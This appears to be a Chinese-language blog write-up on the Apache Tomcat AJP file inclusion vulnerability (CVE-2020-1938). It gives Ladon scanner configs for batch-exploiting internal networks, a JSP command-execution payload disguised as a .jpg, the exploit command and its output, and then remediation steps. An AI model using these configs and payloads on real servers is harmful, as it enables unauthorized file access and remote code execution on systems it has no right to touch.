漏洞信息
根据国家信息安全漏洞共享平台(CNVD)20日发布的Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
漏洞编号
cnvd-2020-10487
cve-2020-1938
漏洞条件
开放AJP端口(默认开放8009)
漏洞版本
apache tomcat 6
apache tomcat 7 < 7.0.100
apache tomcat 8 < 8.5.51
apache tomcat 9 < 9.0.31
扫描框架
Ladon设计的初衷就是一个多线程扫描框架,主要是为了让使用者能快速批量检测企业内部或外部站点漏洞
不管你擅长哪一门语言,只需要实现单一功能,都可以快速进行批量IP、批量URL、批量C段、批量B段等等
每当公开或泄露一个新漏洞时,自己要实现多现程以及批量以上功能,重写一份浪费时间,可能会错过时机
小内网可能自己写个批量IP.TXT就够用了,但是大的内网几百几千个网段就基本没有工具考虑,如批量C段
但是不要慌,无论是多线程,还是批量C段、跨网段等等,Ladon全都帮你考虑好了,只需实现单一功能即可
在Ladon的插件中配置INI方式是不需要具备编程能力的,只要会使用工具,即可实现批量调用,非常简单
Ladon配置
INI配置很简单,只需要两个参数即可。Github上随便找一份EXP,以下我用的是PYTHON版。
两种配置方式,一种是编译成EXE丢到目标上运行的,一种是PY脚本方式执行方便本地调式
EXE配置
cve-2020-1938.ini
[Ladon]
exe=CVE-2020-1938.exe
arg=-p 8009 -f /WEB-INF/web.xml $ip$ -c 0
PY配置
cve-2020-1938.ini
[Ladon]
exe=f:pythonpython.exe
arg=CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml $ip$ -c 0
批量内网
把开放8009端口的IP放进ip.txt,执行以下命令即可批量扫描
当然也可以不扫端口和不扫存活IP,直接ip24.txt扫描批量C段
Ladon cve-2020-1938.ini
以下为内网实战批量检测结果
文件包含RCE
一定条件下可实现RCE,如有地方实现文件上传,往目标传个exec.jpg,内容如下,执行whoami
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
python CVE-2020-1938.py -p 8009 -f exec.jpg 192.168.1.10 -c 1
Getting resource at ajp13://192.168.1.10:8009/index.jsp
----------------------------
k82003-77562e10administrator
漏洞修复
1.更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
2.关闭AJP服务
修改Tomcat配置文件Service.xml,注释掉
3、配置ajp配置
配置ajp配置中的secretRequired跟secret属性来限制认证